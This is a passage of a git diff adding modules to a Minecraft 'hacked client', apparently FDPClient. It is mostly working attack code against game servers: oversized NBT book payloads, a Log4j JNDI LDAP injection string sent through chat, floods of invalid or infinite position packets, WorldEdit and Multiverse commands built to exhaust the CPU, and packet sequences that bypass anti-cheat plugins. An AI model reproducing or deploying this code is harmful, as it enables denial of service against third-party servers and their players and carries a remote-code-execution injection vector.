tra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}" + + private fun getBook(type: String = bookTypeValue.get().lowercase()): ItemStack { + return when (type) { + "plain" -> { + val bookStack = ItemStack(Items.writable_book) + val bookCompound = NBTTagCompound() + + bookCompound.setString("author", RandomUtils.randomNumber(20)) + bookCompound.setString("title", RandomUtils.randomNumber(20)) + + val pageList = NBTTagList() + val pageText = RandomUtils.randomNumber(600) + + for (i in 0..49) { + pageList.appendTag(NBTTagString(pageText)) + } + + bookCompound.setTag("pages", pageList) + bookStack.tagCompound = bookCompound + + bookStack + } + "netty" -> { + val book3 = ItemStack(Items.writable_book) + val author = "Netty$BOOK_SIZE" + + val tag3 = NBTTagCompound() + val list3 = NBTTagList() + for (i3 in 0..339) { + val tString = NBTTagString(BOOK_SIZE) + list3.appendTag(tString) + } + tag3.setString("author", author) + tag3.setString("title", BOOK_SIZE) + tag3.setTag("pages", list3) + if (book3.tagCompound != null) { + val tagb = book3.tagCompound + tagb?.setTag("pages", list3) + } else { + book3.setTagInfo("pages", list3) + } + + book3 + } + "json" -> { + val tag = NBTTagCompound() + val list = NBTTagList() + for (i2 in 0..1) { + list.appendTag(NBTTagString(BOOK_JSON) as NBTBase) + } + tag.setString("author", RandomUtils.randomString(5)) + tag.setString("title", RandomUtils.randomString(5)) + tag.setByte("resolved", 1.toByte()) + tag.setTag("pages", list as NBTBase) + val book = ItemStack(Items.writable_book) + book.tagCompound = tag + + book + } + "random" -> getBook(bookTypeValue.values[RandomUtils.nextInt(0, bookTypeValue.values.size)]) + else -> throw IllegalArgumentException("Invalid book type: ${bookTypeValue.get()}") + } + } + + override fun onEnable() { + mc.thePlayer ?: return + + when (modeValue.get().lowercase()) { + "inventory" -> { + nowInv = -1 + invSlots.clear() + chat("Open an inventory to start.") + } + + "crashclient" -> { + chat("Do crash Client.") + mc.thePlayer = null + val s: String? = null + println(s!!.toCharArray()) + val b = 0 + val a = 1 / b + val aa = IntArray(1) + aa[15] = 0 + mc.shutdown() + } + + "log4j" -> { + val str = "\${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}" + mc.netHandler.addToSendQueue(C01PacketChatMessage(when(log4jModeValue.get().lowercase()) { + "chat" -> "${RandomUtils.randomString(5)}$str${RandomUtils.randomString(5)}" + "command" -> "/tell ${RandomUtils.randomString(10)} $str" + else -> str + })) + } + + "aacnew" -> { + // Spam positions + var index = 0 + while (index < 9999) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 9412 * index, mc.thePlayer.entityBoundingBox.minY + 9412 * index, mc.thePlayer.posZ + 9412 * index, true)) + ++index + } + } + "chunkloadexploit" -> { + var index = 0 + while (index < 9999) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY,mc.thePlayer.posZ, + (0x6DDF0D05L and 0x7DEE0D47L).toInt() xor ((-1651917850).toLong() xor (-263735582).toLong()) as Int != 0 + )) + ++index + } + } + + + "mathoverflow" -> { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(1.7976931348623157E+308, 1.7976931348623157E+308, 1.7976931348623157E+308, true)) + } + + "aacother" -> { + // Spam positions + var index = 0 + while (index < 9999) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 500000 * index, mc.thePlayer.entityBoundingBox.minY + 500000 * index, mc.thePlayer.posZ + 500000 * index, true)) + ++index + } + } + + "aacold" -> { + // Send negative infinity position + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, true)) + } + + "worldedit" -> { + // Send crash command + trash check bypass (maybe) + mc.thePlayer.sendChatMessage("//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}") + } + + "multiversecore" -> { + // Send crash command + mc.thePlayer.sendChatMessage("/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^") + } + + + + "bukkitbd" -> { + //mc.thePlayer.sendChatMessage("/bukkit:help\//\/"+"$"+"a&m0xDEBukkit:"+"/"+"\\"+"Queue*"+"$"+"a&m0xENRunCommand"+"$"+"a&m0xDE/shutdown"+"$"+"a&m"+"$"+"0x0Unpoll") + } + + "cubecraft" -> { + // Not really needed but doesn't matter + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.3, mc.thePlayer.posZ) + } + + "massivechunkloading" -> { + // Flight up into sky + var yPos = mc.thePlayer.posY + while (yPos < 255) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, yPos, mc.thePlayer.posZ, true)) + yPos += 5.0 + } + + // Flight over world + var i = 0 + while (i < 1337 * 5) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + i, 255.0, mc.thePlayer.posZ + i, true)) + i += 5 + } + } + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + when (modeValue.get().lowercase()) { + + "Rotation" -> { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C05PacketPlayerLook(9.223372E18F, 9.223372E18F, true)); + } + + "inventory" -> { + if(nowInv != -1 && invSlots.isNotEmpty()) { + var count = 0 + while (true) { + invSlots.forEach { (slot, item) -> + // click on window + mc.netHandler.addToSendQueue(C0EPacketClickWindow(nowInv, slot, 0, 0, item, if(slientInventoryValue.get()) { + RandomUtils.nextInt(0, Short.MAX_VALUE.toInt()).toShort() + } else { + mc.thePlayer.openContainer.getNextTransactionID(mc.thePlayer.inventory) + })) + count++ + if(count >= packetAmountValue.get()) { + return + } + } + } + } + } + + "book" -> { + val bookStack = getBook() + + repeat(packetAmountValue.get()) { + when(bookModeValue.get().lowercase()) { + "payload" -> { + val packetBuffer = PacketBuffer(Unpooled.buffer()) + packetBuffer.writeItemStackToBuffer(bookStack) + PacketUtils.sendPacketNoEvent(C17PacketCustomPayload(if (Random().nextBoolean()) "MC|BSign" else "MC|BEdit", packetBuffer)) + } + "itemuse" -> { + PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(bookStack)) + } + "blockclick" -> { + PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos(RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000)), 1, bookStack, 0.0f, 0.0f, 0.0f)) + } + "lpx" -> { + PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos(RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000)), 1, bookStack, 0.0f, 0.0f, 0.0f)) + val packetBuffer = PacketBuffer(Unpooled.buffer()) + packetBuffer.writeItemStackToBuffer(bookStack) + PacketUtils.sendPacketNoEvent(C17PacketCustomPayload("MC|BEdit", packetBuffer)) + } + "creativewindowclick" -> { + PacketUtils.sendPacketNoEvent(C10PacketCreativeInventoryAction(RandomUtils.nextInt(1, 30), bookStack)) + } + "windowclick" -> { + PacketUtils.sendPacketNoEvent(C0EPacketClickWindow(0, RandomUtils.nextInt(1, 30), 0, 0, bookStack, RandomUtils.nextInt(0, 32767).toShort())) + } + "windowpickup" -> { + PacketUtils.sendPacketNoEvent(C0EPacketClickWindow(0, -999, 0, 5, bookStack, RandomUtils.nextInt(0, 32767).toShort())) + } + } + } + if(bookOnlyOnceValue.get()) { + state = false + } + } + + "cubecraft" -> { + val x = mc.thePlayer.posX + val y = mc.thePlayer.posY + val z = mc.thePlayer.posZ + repeat(packetAmountValue.get()) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.09999999999999, z, false)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true)) + } + mc.thePlayer.motionY = 0.0 + } + + "pex" -> if (pexTimer.hasTimePassed(2000)) { + // Send crash command + mc.thePlayer.sendChatMessage(if (Random().nextBoolean()) "/pex promote a a" else "/pex demote a a") + pexTimer.reset() + } + + "swing" -> { + repeat(packetAmountValue.get()) { + PacketUtils.sendPacketNoEvent(C0APacketAnimation()) + } + } + + "memetrixold" -> { + if (mc.thePlayer.ticksExisted % 2 == 0) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(RandomUtils.nextDouble(-32768.0, 32768.0), RandomUtils.nextDouble(-32768.0, 32768.0), RandomUtils.nextDouble(-32768.0, 32768.0), true)) + } + } + + "oldloyisancp" -> { + mc.timer.timerSpeed = 0.45f + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(RandomUtils.nextDouble(-1048576.0, 1048576.0), RandomUtils.nextDouble(-1048576.0, 1048576.0), RandomUtils.nextDouble(-1048576.0, 1048576.0), true)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(RandomUtils.nextDouble(-65536.0, 65536.0), RandomUtils.nextDouble(-65536.0, 65536.0), RandomUtils.nextDouble(-65536.0, 65536.0), true)) + } + + "itemswitch" -> { + repeat(packetAmountValue.get()) { + PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(RandomUtils.nextInt(0, 8))) + } + } + + "itemdrop" -> { + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + repeat(packetAmountValue.get()) { + PacketUtils.sendPacketNoEvent(C0EPacketClickWindow(0, RandomUtils.nextInt(1, 35), 1, 4, mc.thePlayer.inventory.getCurrentItem(), 0)) + } + mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) + } + + "c08" -> { + repeat(packetAmountValue.get()) { + PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(mc.thePlayer.currentEquippedItem)) + } + } + + "nullc08" -> { + repeat(packetAmountValue.get()) { + PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos(Double.NaN, Double.NaN, Double.NaN), 1, null, 0f, 0f, 0f)) + } + } + + "commandcomplete" -> { + repeat(packetAmountValue.get()) { + PacketUtils.sendPacketNoEvent(C14PacketTabComplete("/${RandomUtils.randomString(100)}")) + } + } + + "aacv5" -> { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(1.7e+301, -999.0, 0.0, true)) + } + + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + when (modeValue.get().lowercase()) { + "inventory" -> { + if(packet is S2DPacketOpenWindow) { + nowInv = packet.windowId + if (slientInventoryValue.get()) { + chat("Inventory opened, sending packets...") + event.cancelEvent() + } + } else if (packet is S2EPacketCloseWindow || packet is C0DPacketCloseWindow) { + nowInv = -1 + invSlots.clear() + } else if (packet is S2FPacketSetSlot) { + if (packet.func_149175_c() == nowInv && packet.func_149174_e() != null && !invSlots.containsKey(packet.func_149173_d())) { + invSlots.put(packet.func_149173_d(), packet.func_149174_e()) + } + } + } + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + if (event.worldClient == null) { + mc.timer.timerSpeed = 1.00f + state = false // Disable module in case you left the server + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + @EventTarget + fun onTick(event: TickEvent) { + if (mc.thePlayer == null || mc.theWorld == null) { + mc.timer.timerSpeed = 1.00f + state = false // Disable module in case you left the server + } + } + + override val tag: String + get() = modeValue.get() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Teleport.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Teleport.kt new file mode 100644 index 0000000..85f182a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Teleport.kt @@ -0,0 +1,614 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils.forward +import net.ccbluex.liquidbounce.utils.MovementUtils.strafe +import net.ccbluex.liquidbounce.utils.PathUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.block.BlockAir +import net.minecraft.block.BlockFence +import net.minecraft.block.BlockSnow +import net.minecraft.block.material.Material +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.network.Packet +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.network.play.client.C0BPacketEntityAction +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos +import net.minecraft.util.MovingObjectPosition +import net.minecraft.util.Vec3 +import org.lwjgl.input.Mouse +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.util.* +import java.util.function.Consumer + +@ModuleInfo(name = "Teleport", category = ModuleCategory.EXPLOIT) +class Teleport : Module() { + private val ignoreNoCollision = BoolValue("IgnoreNoCollision", true) + private val modeValue = ListValue( + "Mode", + arrayOf("Tp", "Blink", "Flag", "Rewinside", "OldRewinside", "Spoof", "Minesucht", "AAC3.5.0", "BWRel", "Karhu"), + "Tp" + ) + private val buttonValue = ListValue("Button", arrayOf("Left", "Right", "Middle"), "Middle") + private val needSneak = BoolValue("NeedSneak", true) + private val flyTimer = TickTimer() + private var hadGround = false + private var fixedY = 0.0 + private val packets: MutableList<Packet<*>> = ArrayList() + private var disableLogger = false + private var zitter = false + private var doTeleport = false + private var freeze = false + private val freezeTimer = TickTimer() + private val respawnTimer = TickTimer() + + private var delay = 0 + private var endPos: BlockPos? = null + private var objectPosition: MovingObjectPosition? = null + + private var endX = 0.0 + private var endY = 0.0 + private var endZ = 0.0 + + override fun onEnable() { + val matrixStage = -1 + + if (modeValue.equals("AAC3.5.0")) { + alert("§c>>> §a§lTeleport §fAAC 3.5.0 §c<<<") + alert("§cHow to teleport: §aPress " + buttonValue.get() + " mouse button.") + alert("§cHow to cancel teleport: §aDisable teleport module.") + } + } + + override fun onDisable() { + fixedY = 0.0 + delay = 0 + mc.timer.timerSpeed = 1f + endPos = null + hadGround = false + freeze = false + disableLogger = false + flyTimer.reset() + + packets.clear() + } + + @EventTarget + fun onUpdate(event: UpdateEvent?) { + val buttonIndex = listOf(*buttonValue.values).indexOf(buttonValue.get()) + + if (modeValue.equals("AAC3.5.0")) { + freezeTimer.update() + + if (freeze && freezeTimer.hasTimePassed(40)) { + freezeTimer.reset() + freeze = false + state = false + } + + if (!flyTimer.hasTimePassed(60)) { + flyTimer.update() + + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } else { + forward(if (zitter) -0.21 else 0.21) + zitter = !zitter + } + + hadGround = false + return + } + + if (mc.thePlayer.onGround) hadGround = true + + if (!hadGround) return + + if (mc.thePlayer.onGround) mc.thePlayer.setPositionAndUpdate( + mc.thePlayer.posX, + mc.thePlayer.posY + 0.2, + mc.thePlayer.posZ + ) + + val vanillaSpeed = 2f + mc.thePlayer.capabilities.isFlying = false + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + if (mc.gameSettings.keyBindJump.isKeyDown) mc.thePlayer.motionY += vanillaSpeed.toDouble() + if (mc.gameSettings.keyBindSneak.isKeyDown) mc.thePlayer.motionY -= vanillaSpeed.toDouble() + strafe(vanillaSpeed) + + if (Mouse.isButtonDown(buttonIndex) && !doTeleport) { + mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY - 11, mc.thePlayer.posZ) + + disableLogger = true + packets.forEach(Consumer { packet: Packet<*>? -> mc.netHandler.addToSendQueue(packet) }) + + freezeTimer.reset() + freeze = true + } + + doTeleport = Mouse.isButtonDown(buttonIndex) + return + } + + + if (mc.currentScreen == null && Mouse.isButtonDown(buttonIndex) && delay <= 0) { + endPos = objectPosition!!.blockPos + + + if (Objects.requireNonNull(getBlock(endPos))!!.material === Material.air) { + endPos = null + return + } + + alert( + "§7[§8§lTeleport§7] §3Position was set to §8" + endPos!!.x + "§3, §8" + ((if (Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.getCollisionBoundingBox( + mc.theWorld, objectPosition!!.blockPos, Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.defaultState + ) == null + ) endPos!!.y + Objects.requireNonNull(getBlock(endPos))!!.blockBoundsMaxY else Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )?.getCollisionBoundingBox( + mc.theWorld, objectPosition!!.blockPos, Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos + ) + )!!.defaultState + )!!.maxY) + fixedY) + "§3, §8" + endPos!!.z + ) + delay = 6 + endX = endPos!!.x.toDouble() + 0.5 + endY = endPos!!.y.toDouble() + 1.0 + endZ = endPos!!.z.toDouble() + 0.5 + } + + if (delay > 0) --delay + + if (endPos != null) { + when (modeValue.get().lowercase(Locale.getDefault())) { + "blink" -> if (mc.thePlayer.isSneaking || !needSneak.get()) { + // Sneak + mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer, + C0BPacketEntityAction.Action.STOP_SNEAKING + ) + ) + + // Teleport + PathUtils.findBlinkPath(endX, endY, endZ).forEach(Consumer { vector3d: Vec3 -> + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + vector3d.xCoord, + vector3d.yCoord, + vector3d.zCoord, + true + ) + ) + mc.thePlayer.setPosition(endX, endY, endZ) + }) + + // Sneak + mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer, + C0BPacketEntityAction.Action.START_SNEAKING + ) + ) + + // Notify + alert("§7[§8§lTeleport§7] §3You were teleported to §8$endX§3, §8$endY§3, §8$endZ") + endPos = null + } + + "flag" -> if (mc.thePlayer.isSneaking || !needSneak.get()) { + // Sneak + mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer, + C0BPacketEntityAction.Action.STOP_SNEAKING + ) + ) + + // Teleport + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, true)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY + 5.0, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(endX, endY, endZ, true)) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX + 0.5, + mc.thePlayer.posY, + mc.thePlayer.posZ + 0.5, + true + ) + ) + + forward(0.04) + + // Sneak + mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer, + C0BPacketEntityAction.Action.START_SNEAKING + ) + ) + // Notify + alert("§7[§8§lTeleport§7] §3You were teleported to §8$endX§3, §8$endY§3, §8$endZ") + endPos = null + } + + "bwrel" -> if (mc.thePlayer.isSneaking || !needSneak.get()) { + mc.thePlayer.setPosition( + mc.thePlayer.posX, + mc.thePlayer.posY + 9.25078381072525, + 